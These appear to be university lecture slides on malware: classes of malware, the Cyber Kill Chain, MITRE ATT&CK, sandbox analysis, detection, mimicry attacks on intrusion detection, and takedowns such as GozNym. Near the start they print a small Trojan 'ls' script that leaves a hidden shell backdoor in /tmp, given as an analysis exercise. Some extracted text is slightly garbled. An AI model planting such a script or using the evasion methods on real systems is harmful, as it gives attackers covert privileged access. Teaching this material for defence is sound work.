Outline

Overview

Malware Taxonomy

Malicious Activities

Analysis

Detection

Response
Recap

We have looked at:

- vulnerabilities, exploits, failure patterns
- engineering, tools and languages for secure coding
- protecting software assets themselves

In this lecture we look at *malicious software*, or “anti-secure programming” — programs that are written deliberately to cause damage.
Terminology

Malware (aka Malicious Code)

A program that is covertly inserted into another program with the intent to destroy data, run destructive or intrusive programs, or otherwise compromise the confidentiality, integrity, or availability of the victim’s data, applications, or operating system.

▶ includes viruses, Trojans, worms or any code or content that can damage computer systems, networks or devices.
▶ malware is the most common external threat to most hosts, causing widespread damage and disruption, needing extensive recovery efforts.

Why study malware?

Learn how malicious code is “weaponised”
- packaging, delivery, execution
- attack methods, *exploits*

Devise general defences for
- prevention, detection, response

Understand attackers: know your enemy
- motives, operations
- code origins: attribution to groups, states
The shell script below is named `ls` and placed into a directory used by developers.

```bash
#!/bin/sh
#
cp /bin/sh /tmp/.xxsh
chmod o+s,w+x /tmp/.xxsh
ls $*
rm ./ls
```

**Question.** What does this do and why? What kind of malware program is it?
Overview

We examine structure and purpose of malware, then the operational management of handling malware:

1. Taxonomy: classifying malware kinds
2. Malicious activities: tactics and end goals
3. Analysis
4. Detection
5. Response
Offence and Defence

During (or before) malware execution, security plays out as a “cat and mouse” series of defensive moves and countermeasures and evasion by the attacker.

<table>
<thead>
<tr>
<th>Defence Method</th>
<th>Attacker’s Countermeasures</th>
</tr>
</thead>
<tbody>
<tr>
<td>Analysis</td>
<td>Detect emulator, play dumb</td>
</tr>
<tr>
<td>Detection</td>
<td>Obfuscate code, update</td>
</tr>
<tr>
<td>Response</td>
<td>Fast-flux IP switching</td>
</tr>
</tbody>
</table>

**Exercise.** After the lecture and reading further, expand the above table to show how further steps in defences handle the attacker’s countermeasures.
Outline

Overview

Malware Taxonomy

Malicious Activities

Analysis

Detection

Response
Classic malware categories

**Virus**: tries to replicate itself into other executable code, which becomes *infected*.

**Worm**: runs independently and can propagate a complete working version of itself onto other hosts on a network, usually by exploiting software vulnerabilities.

**Trojan Horse**: appears to have a useful function, but also has a hidden malicious function. *Trojan* for short.

**Rootkit**: a Trojan embedded into the OS, often altering system commands and adding backdoors.

**Mobile (Code) Malware**: transmitted from remote to local host where executed, maybe without consent.
The Knark rootkit modifies entries in the system call table. The new versions hijack filesystem and network connection operations and launch processes. They also conceal the presence of the rootkit.
Other malware categories

**Adware**: displays advertisements, perhaps to distraction/detriment of user experience.

**Spyware**: steals personal data or reports on user activities, location, time spent, friends. Distinction: *doing so invisibly without user consent*.

**Ransomware**: inhibits use of resources until a ransom (usually money) is paid. Malicious use of PKC.

**Logic bomb**: code triggered by some external event (e.g., user login, date).

In practice, the categories overlap and real malware often uses a combination of techniques.
Encompassing terms

Potentially Unwanted Programs (PUPs): generalises adware, spyware. Distinction sometimes made in industry: malware that is usually deliberately installed (main function desired by user) and “less damaging” than other types.

Potentially Harmful Application (used by Google): encompasses all kinds of malware, including software that damages ecosystem generally.

Potentially Unsafe Application: legitimate applications that might be unsafe “in the wrong hands”, e.g., remote access tools, password-crackers applications, and keyloggers.

The last one highlights a problem of classifying malware: security policy violation depends on who as well as what.
Six dimensions of malware

Malware can be characterised along various dimensions:

1. Standalone code versus embedded
2. Persistent or transient
3. Attack layer(s) used
4. What user interaction is required
5. Multiplicity and dynamic updates
6. Acts independently or in coordination

**Question.** Is some aspect not covered above?

**Exercise.** For each dimension, explain the advantages and disadvantages of different malware design choices for the attacker.
Examples of classification

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Virus</strong></td>
<td>N</td>
<td>Y</td>
<td>firmware+</td>
<td>Y</td>
<td>Y</td>
<td>N</td>
</tr>
<tr>
<td><strong>Browser Addon</strong></td>
<td>N</td>
<td>Y</td>
<td>app</td>
<td>N</td>
<td>Y</td>
<td>Y</td>
</tr>
<tr>
<td><strong>Botnet malware</strong></td>
<td>both</td>
<td>Y</td>
<td>kernel+</td>
<td>Y</td>
<td>Y</td>
<td>Y</td>
</tr>
<tr>
<td><strong>Memory resident</strong></td>
<td>Y</td>
<td>N</td>
<td>kernel+</td>
<td>Y</td>
<td>Y</td>
<td>Y</td>
</tr>
</tbody>
</table>
Outline

Overview

Malware Taxonomy

Malicious Activities

Analysis

Detection

Response
Malware activities

Ultimate aim: specific violation of security policy.

- A complex attack may consist of a number of steps.

A “kill chain” is a model used by military analysts to understand phases that are involved in complex attacks (especially terrorism).

Lockheed Martin developed a Cyber Kill Chain with 7 phases in a network attack/espionage.

Malware can be used in some/all of the steps...
<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Reconnaissance</td>
<td>Harvesting email</td>
</tr>
<tr>
<td>2</td>
<td>Weaponization</td>
<td>Exploits in payload</td>
</tr>
<tr>
<td>3</td>
<td>Delivery</td>
<td>Email, web download</td>
</tr>
<tr>
<td>4</td>
<td>Exploitation</td>
<td>Executing malicious code</td>
</tr>
<tr>
<td>5</td>
<td>Installation</td>
<td>Adding (extra) malware</td>
</tr>
<tr>
<td>6</td>
<td>Command and control</td>
<td>Remote access</td>
</tr>
<tr>
<td>7</td>
<td>Actions on objectives</td>
<td>Executing actions on victim’s systems</td>
</tr>
</tbody>
</table>
Cyber Kill Chain infographic

1. Reconnaissance
   - Harvesting email addresses, conference information, etc.

2. Weaponization
   - Coupling exploit with backdoor into deliverable payload

3. Delivery
   - Delivering weaponized bundle to the victim via email, web, USB, etc.

4. Exploitation
   - Exploiting a vulnerability to execute code on victim’s system

5. Installation
   - Installing malware on the asset

6. Command & Control (C2)
   - Command channel for remote manipulation of victim

7. Actions on Objectives
   - With 'Hands on Keyboard' access, intruders accomplish their original goals
MITRE’s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) knowledgebase is a model and curated record of real-world observations of TTPs:

- **Tactics**: short-term tactical adversary goals
- **Techniques**: means to achieve tactical goals
- **Procedure**: detail of processes

Intended to be a mid-level model: more detail than Cyber Kill Chain, but not a database of vulnerabilities or exploits.

Several use cases. Example: **red teaming** (simulated adversarial exercises: using offence to drive defence).

See [https://attack.mitre.org](https://attack.mitre.org).
Description

Field

A description of the software based on technical references or public threat reporting. It may contain ties to groups known to use the software or other technical details with appropriate references.

Alias Descriptions

Field

Securities can be viewed as the alias used to tie the alias to the group name.

Techniques Used

Field

List of techniques that are implemented by the software with a field to describe details on how the technique is implemented or used. Each technique should include a reference.

Groups

Field

List of groups that the software has been reported to be used by with a field to describe details on how the software is used. This information is populated from the associated group entry.

3.7 ATT&CK Object Model Relationships

Each high-level component of ATT&CK is related to other components in some way. The relationships described in the description fields in the previous section can be visualized in a diagram:

- Adversary Group
- Technique
- Software
- Tactic

Relationships:
- Uses
- Implements
- Accomplishes

An example as applied to a specific persistent threat group where APT28 uses Mimikatz for credential dumping:
**ATT&CK Object Model instance**

ATP28 is a Russian hacking group reported on by FireEye in 2014, who ran a cyber espionage campaign on US, EU and Eastern Europe defence and government contractors.

**mimikatz** is an open-source credential dumping program.
A little tool to play with Windows security  [http://blog.gentilkiwi.com/mimikatz](http://blog.gentilkiwi.com/mimikatz)

Sometimes, people forget that there other features than passwords-dumping in [mimikatz](http://blog.gentilkiwi.com/mimikatz).

In fact for CAPI Certificate, you can make a private key exportable with comparing to another one exportable, and a hex editor!

More complicated, you can backup files/registry and make all the work on another computer.

For antivirus debate, no: [mimikatz](http://blog.gentilkiwi.com/mimikatz) isn't a virus or malware, but yes: you would not like to find it on your corporate computer/server 😊

I was shocked the first when antivirus blacklisted my program (made by hand, with love 😍), but as [mimikatz](http://blog.gentilkiwi.com/mimikatz) is often used "as-is" in real attacks, it's a logical reaction.

As it's not a virus/malware they are not zealous when making signature ;)
Organised Crime and Warfare

Early malware activities were localised, mainly causing nuisance (hacktivism, etc).

Modern activities include

- Warfare (e.g., critical infrastructure attacks)
- Organised crime (e.g., ransomware)
  - CaaS – Crime as a service
  - Malware, deployment, phishing, laundering

These operations involve multiple specialist actors and complex human and machine systems.
Outline

Overview

Malware Taxonomy

Malicious Activities

Analysis

Detection

Response
Defence: Malware analysis

The art (maybe science) of dissecting and understanding malware.

Uses:

- Discover **intended malicious activities**
- Gain information for **attribution**
- Monitor trends, discover **TTPs**
Analysis process

1. **Collect** malware samples
   - network sensors: email, web traffic
   - host/network sensors: outgoing worms

2. **Identify** code formats involved
   - binary/source, Windows/Linux
   - check against database of known malware

3. **Disassembly and static analysis**
   - program analysis, statistical measures

4. **Dynamic analysis**
   - specialised sandboxed environment

Malware analysis (industrial or academic) should consider **legal and ethical responsibilities** carefully, for example, protecting sensitive information in malware samples and ensuring safety with a controlled, isolated environment.
Example: VirusTotal

Analyse suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community.

Choose file
Similar methods to those for code correctness (security bug discovery) are used for malware analysis.

- **Static analysis**: ideal but hard (Q. Why?)
- **Dynamic analysis**: can stop after unpack, use lower-level traces
- **Fuzzing**: help trigger malware behaviour
- **Symbolic and concolic execution**: explore code behaviours

In general, *Path Exploration* techniques combine static and dynamic methods to explore all parts of the code, expanding traces seen in simple execution.
Analysis environments

Malware can be analysed in different types of environment:

- Machine Emulator (QEMU)
- Type 2 Hypervisor (VirtualBox, KVM)
- Type 1 Hypervisor (VMWareESX, Xen)
- Bare-metal (NVMtrace, BareCloud)

Apart from ensuring safety, the environment for analysis may need to provide (a simulation of) being live.

**Question.** What kind of live-environment requirements might be needed?

**Exercise.** Consider the pros and cons of each type of environment for malware analysis.
**Example: Cuckoo Sandbox**

![Cuckoo Sandbox Screenshot](image)

<table>
<thead>
<tr>
<th>Source</th>
<th>Source Port</th>
<th>Destination</th>
<th>Destination Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.56.101</td>
<td>1035</td>
<td>192.168.56.103</td>
<td>139</td>
</tr>
<tr>
<td>192.168.56.103</td>
<td>49446</td>
<td>10.152.1.113</td>
<td>443</td>
</tr>
</tbody>
</table>

**TCP**

*Example packets:*

```
192.168.56.103:49446 -> 10.152.1.113:443
00000000: 85b6 3ad7 19d4 c0cc e7d1 ebb1 2523 8036 ...
00000100: 3a9b 9add 96ee 96aa ec32 f470 8a1c 57fc ...
00000200: 8a9e 5b42 1d41 1393 608b 5841 e31a 9386 ...
00000300: 845c 2d47 3d31 a597 bbf2 64e0 5fda 0111 ...
00000400: 9484 56d7 602c 4a6b 45b3 b99d 607d 0e3f ...
00000500: 2ddd 98d7 4ed2 8828 fa59 7876 e966 a223 ...
00000600: 4a28 b303 55df 9965 d324 b031 bc64 e2e8 J(...)...e.1...d...
00000700: 90ee 85cd b5ae 66df 4814 e99a c216 8caf ...H...
00000800: 61dc 4f6f 1ca5 c860 ffd7 60ac 93aa a.0..."g...```

```
10.152.1.113:443 -> 192.168.56.103:49446
00000000: 92d5 f79d a6b3 54c4 90e7 99d3 42e4 57b9 ...
00000100: 9e8d dBd8 98ef 6425 2588 e6f2 8e4b 023b ...
00000200: 7b19 d162 2e4a 7899 f7d2 7d75 384b d600 ...B...3...E=-^...
00000300: 8b70 a580 c6e6 f5c6 45bf 35f8 9f2d 1c59 ...
00000400: 9926 21af 3be1 d164 166f bd92 6c52 b3d6 ...&...di...I...
00000500: ff37 4356 b31e 85da 4ba2 c619 206d 4173 ...VCV...K...mAs
```
**Obfuscation** is used pervasively by modern malware.

- Each instance of malware is made unique and obfuscated
- *Polymorphism* used to defeat signature-based detection
  - can be included in virus code, to self-mutate
- *Dynamic updates* from malware update servers
  - supply mutations/revisions (& bug/security fixed!)

**Techniques:**

- *packing* (encryption, compression)
- *rewriting* re-code identifiable sequences
Countermeasure: Fingerprinting

Malware tries to detect it is running in an analysis environment by “fingerprinting” methods:

- Virtualisation
  - “red pill testing” (e.g., measure CPU instructions)
- Environment (network)
  - hardware/software device identifiers
  - expected processes
- Process introspection
  - expected programs present
  - monitoring tools/AV absent
- User detection
  - keyboard/mouse activity
  - program histories

**Question.** Why might these methods be less robust in modern computing environments?
Outline

Overview

Malware Taxonomy

Malicious Activities

Analysis

Detection

Response
Unsurprisingly, detection of malware is difficult.

**Theorem: Undecidability of virus recognition**

It is not possible to write a program that determines, in finite time, whether or not a program acts as a computer virus.

**Proof** (Fred Cohen, 1989): define notion of a *viral set* as a Turing Machine $T$ with a sequence of symbols $V$, such that $T$ run on $V$ re-produces $V$ at another location. Reduce problem of *viral-set recogniser* to halting problem.
Defence: Finding Malware

**During Download**: Intrusion Detection Systems

- Known malicious content blocked.
- Broken by content encryption (https). Instead use *domain reputation systems*.

**After Download**: Antivirus/host-based IDS

- Finds malware on filesystem or in memory.
- First line of defence: suspicious features, patterns

**During Execution**: host/network security tools

- Detect connections to C&C servers
- Detect malicious activities (DoS attacks, exfiltration)
- Sequences of API calls
The main countermeasure is **diversification**.

1. Use *polymorphism* to change form of downloaded code to thwart naive IDS signatures. Modern *polymorphic malware blending* preserves statistical similarity to benign traffic.

2. Use *metamorphism* (self-modifying) or *downloaded updates* to change contents of executables, preserving behaviour. Thwarts static detection based on simple patterns.

**Question.** How might a defender respond to these countermeasures? What are the difficulties in doing so?
Defence: Attack detection

**Anomaly Detection** or **Malicious Activity Detection**. Both are supported by **monitoring**:

- Host-based
- Network-based

Examples:

- **DDoS**: use statistical properties of traffic
- **Ransomware**: spot unexpected host activities
- **Botnets**: detect infrastructure itself
  - synchronised activities across network

Many practical methods based on data science.

**Question.** What are the data sources in the cases above?
Countermeasures: concealing attacks

**Mimicry attack** on detection models based on system call data: alter malicious features to look the same as benign features, to cause classification errors.

Syscall trace for back-doored mail client, typically flagged as suspicious by host-based IDS:

`open()`, `write()`, `close()`, `socket()`, `bind()`, `listen()`, `accept()`, `read()`, `fork()`

Attacker Goal: execute this sequence without being detected. Methods:

1. Avoid syscalls, change parameters in real calls
2. Wait for desired prefix, complete & crash
3. Spread out syscalls with “no-ops” padding
4. Generate equivalent attacks (offline, testing IDS)

Can be made *adaptive* and *adversarial*.
Robustness of host-based IDSes against mimicry

Wagner and Soto (2002) used formal language theory to study mimicry. The IDS sequence and malicious sequences are modelled as regular languages.

Accepted and Malicious sets

\[ A = \{ T \in \Sigma^* \mid T \text{ is allowed by IDS} \} \]

\[ M = \{ T \in \Sigma^* \mid T \text{ is a malicious sequence} \} \]

where \( M \) will be closed under notions of mimicry. Mimicry attacks are possible if \( A \cap M \neq \emptyset \).

Regular languages are closed under intersection, efficiently testable for emptiness and sample strings can be efficiently generated.
This is a modified version of a trace executed by the autowux exploit after wuftp is taken over by a format string vulnerability.

Original attack sequence is underlined, remaining calls are no-ops. Attack escapes chroot jail and adds backdoor root account. This is a sequence generated to deceive the pH IDS.

Outline

Overview

Malware Taxonomy

Malicious Activities

Analysis

Detection

Response
Malware-specific response

Usual responses to security attack:

▶ Isolation, recovery, forensics, remediation

Malware and malware-operations specifics:

▶ **Takedowns** to disrupt campaigns
  ▶ isolate/shutdown C&C servers, P2P distributions
  ▶ *sinkhole* domains to send traffic elsewhere

Note: in most jurisdictions, active defence methods, gathering intelligence, “hacking back”, etc, may only be permitted by law enforcement acting with proper legal authorization.
Countermeasures to thwart take-downs

- *Fast-flux* domain rotation: Domain name Generation Algorithms (DGAs) generate pseudo-random sequence of DNS names.
- Use “Bullet-Proof Hosting” services that ignore complaints and take-down requests.
- Use multiple back-up servers, or backup P2P channel in case centralised servers unreachable.

Fast-flux and DNS changes can help detect botnet activity. DGA algorithms can be reverse engineered. Careful exploration of seed domains and IP addresses to explore connections using historical data. Idea: force malware to reveal its defensive actions.
Law enforcement (or nation states) want to identify actors behind attacks.

- Source code: programming style, code quality, AST, CFG, PDG
- Connectivity: known associations in DNS, emails

Countermeasures:

- Malware re-use, customization and “false flags”
- WHOIS domain registration privacy protection
GozNym Malware takedown, 2019

An unprecedented, international law enforcement operation has dismantled a complex, globally operating and organised cybercrime network. The criminal network used GozNym malware in an attempt to steal an estimated $100 million from more than 41,000 victims, primarily businesses and their financial institutions.

A criminal indictment returned by a federal grand jury in Pittsburgh, USA charges ten members of the GozNym criminal network with conspiracy to commit the following:

- infecting victims’ computers with GozNym malware designed to capture victims’ online banking login credentials;
- using the captured login credentials to fraudulently gain unauthorised access to victims’ online bank accounts;
- stealing money from victims’ bank accounts and laundering those funds using U.S. and foreign beneficiary bank accounts controlled by the defendants.

Over 41k infected computers, $100 million attempted fraud. See Shadowserver’s write-up.
GozNym criminal operations

The GozNym criminal network: How it worked

1. SOURCING THE MALWARE
   The leader of the criminal network (from Tbilisi, Georgia) leased access to the malware from a developer.

2. RECRUITING ACCOMPlices
   The leader recruited other cybercriminals with specialized skills and services which they advertised on underground Russian-speaking online criminal forums.

3. COVERING THEIR TRACKS
   The leader and his technical assistant (from Krasnokharz) worked with "hacker" (including one in St. Petersburg) to spoof the malware so antivirus software would not detect it on the victim's computer.

4. DISTRIBUTION AND INFECTION
   Spammers (including one in Moscow, Russia) sent phishing emails in hundreds of thousands of potential victims.
   The emails were designed to appear as legitimate business emails and contained a malicious link or attachment.
   When clicked, the victim's computer was redirected to a malicious domain on a server hosting a GozNym executable file. This file downloaded GozNym onto the victim's computer.
Summary

We considered five topics in malware.

1. Taxonomy: classifying malware kinds
2. Malicious activities: tactics and end goals
3. Analysis
4. Detection
5. Response
This lecture includes content based on